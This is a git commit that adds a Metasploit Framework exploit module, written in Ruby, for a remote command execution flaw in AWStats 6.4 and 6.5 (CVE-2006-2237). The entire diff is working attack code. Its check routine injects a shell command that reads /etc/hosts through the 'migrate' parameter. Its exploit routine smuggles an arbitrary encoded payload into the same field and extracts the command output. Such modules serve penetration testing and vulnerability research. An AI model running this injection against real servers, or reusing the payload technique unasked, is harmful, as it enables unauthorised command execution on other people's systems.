Added exploit module awstats_migrate_exec.

git-svn-id: file:///home/svn/framework3/trunk@6155 4d416f70-5f16-0410-b530-b9f4589650da
2009-01-15 07:09:56 +00:00 · 2009-01-15 07:09:56 +00:00 · 33ba28346d
parent 4927e7121b
commit 33ba28346d
1 changed files with 106 additions and 0 deletions
--- a/modules/exploits/unix/webapp/awstats_migrate_exec.rb
+++ b/modules/exploits/unix/webapp/awstats_migrate_exec.rb
@ -0,0 +1,106 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+
+require 'msf/core'
+
+
+class Metasploit3 < Msf::Exploit::Remote
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'AWStats migrate Remote Command Execution',
+			'Description'    => %q{
+					This module exploits an arbitrary command execution vulnerability in the
+					AWStats CGI script. AWStats v6.4 and v6.5 are vulnerable. Perl based
+					payloads are recommended with this module. The vulnerability is only
+					present when AllowToUpdateStatsFromBrowser is enabled in the AWstats
+					configuration file (non-default).
+			},
+			'Author'         => [ 'patrick' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					['OSVDB', '25284'],
+					['BID', '17844'],
+					['CVE', '2006-2237'],
+					['URL', 'http://awstats.sourceforge.net/awstats_security_news.php'],
+					['URL', 'http://www.milw0rm.com/exploits/1755'],
+				],
+			'Privileged'     => false,
+			'Payload'        =>
+				{
+					'DisableNops' => true,
+					'Space'       => 512,
+				},
+			'Platform'       => 'unix',
+			'Arch'           => ARCH_CMD,
+			'Targets'        => [[ 'Automatic', { }]],
+			'DisclosureDate' => 'May 04 2006',
+			'DefaultTarget'  => 0))
+
+			register_options(
+				[
+					OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]),
+					OptString.new('AWSITE', [true, "The AWStats config site name", "demo"]),
+				], self.class)
+	end
+
+	def check
+		res = send_request_cgi({
+			'uri'      => datastore['URI'],
+			'vars_get' =>
+			{
+				'migrate' => "|echo;cat /etc/hosts;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt"
+			}
+		}, 25)
+
+		if (res and res.body.match(/localhost/))
+			return Exploit::CheckCode::Vulnerable
+		end
+
+		return Exploit::CheckCode::Safe
+	end
+
+	def exploit
+		command = Rex::Text.uri_encode("cd /tmp &&" + payload.encoded)
+		sploit = datastore['URI'] + "?migrate=|echo;echo%20YYY;#{command};echo%20YYY;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt"
+
+		res = send_request_raw({
+			'uri'     => sploit,
+			'method'  => 'GET',
+			'headers' =>
+			{
+				'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
+				'Connection' => 'Close',
+			}
+		}, 25)
+
+		if (res)
+			print_status("The server returned: #{res.code} #{res.message}")
+
+			m = res.body.match(/YYY\n(.*)\nYYY/m)
+
+			if (m)
+				print_status("Command output from the server:")
+				print("\n" + m[1] + "\n\n")
+			else
+				print_status("This server may not be vulnerable")
+			end
+		else
+			print_status("No response from the server")
+		end
+	end
+
+end